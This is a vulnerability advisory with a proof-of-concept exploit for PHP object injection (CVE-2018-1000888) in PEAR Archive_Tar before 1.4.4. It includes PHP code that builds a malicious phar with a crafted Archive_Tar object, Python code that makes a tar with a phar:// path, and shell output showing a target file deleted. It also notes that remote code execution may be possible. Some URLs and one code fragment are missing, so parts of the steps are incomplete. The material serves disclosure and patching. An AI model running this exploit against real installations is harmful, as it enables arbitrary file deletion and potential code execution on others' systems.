PEAR Archive_Tar PHP Object Injection

Credit: farisv
Risk: High
Local: Yes
Remote: No
CWE: CWE-502

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

PEAR Archive_Tar < 1.4.4 - PHP Object Injection Date: January 10, 2019 Author: farisv Vendor Homepage: Vulnerable Package Link: CVE: CVE-2018-1000888 In PEAR Archive_Tar before 1.4.4, there are several file operation with `$v_header['filename']` as parameter (such as file_exists, is_file, is_dir, etc). When extract() is called without a specific prefix path, we can trigger phar induced unserialization by crafting a tar file with `phar://[path_to_malicious_phar_file]` as path name. Object injection can be used to trigger destructor/wakeup method in the loaded PHP classes, e.g. the Archive_Tar class itself. With Archive_Tar itself, we can trigger arbitrary file deletion because `@unlink($this->_temp_tarname)` will be called in the destructor method. If another class with useful gadget is loaded, remote code execution may be possible. Steps to reproduce object injection and arbitrary file deletion: 1. Make sure that PHP & PEAR are installed. 2. Download vulnerable PEAR Archive_Tar. $ wget $ tar xfz Archive_Tar-1.4.3.tgz $ cd Archive_Tar-1.4.3 3. Create vulnerable code (vulnerable.php). ``` <?php require 'Archive/Tar.php'; $exploit = new Archive_Tar('exploit.tar'); $exploit->extract(); ``` 4. Create dummy file /tmp/test. $ touch /tmp/test 5. Genereate exploit.phar with the following PHP code and place the exploit.phar in the same directory with vulnerable.php. ``` <?php class Archive_Tar { public $_temp_tarname; } $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $object = new Archive_Tar; $object->_temp_tarname = '/tmp/test'; $phar->setMetadata($object); $phar->stopBuffering(); ``` 6. Create exploit.tar with the following Python code. ``` import tarfile tf ='exploit.tar', 'w') tf.add('/dev/null', 'phar://exploit.phar') tf.close() ``` 7. Execute vulnerable.php to trigger object injection to delete /tmp/test. $ ls -alt /tmp/test -rw-rw-r-- 1 vagrant vagrant 0 Jan 9 16:41 /tmp/test $ php vulnerable.php $ ls -alt /tmp/test ls: cannot access '/tmp/test': No such file or directory

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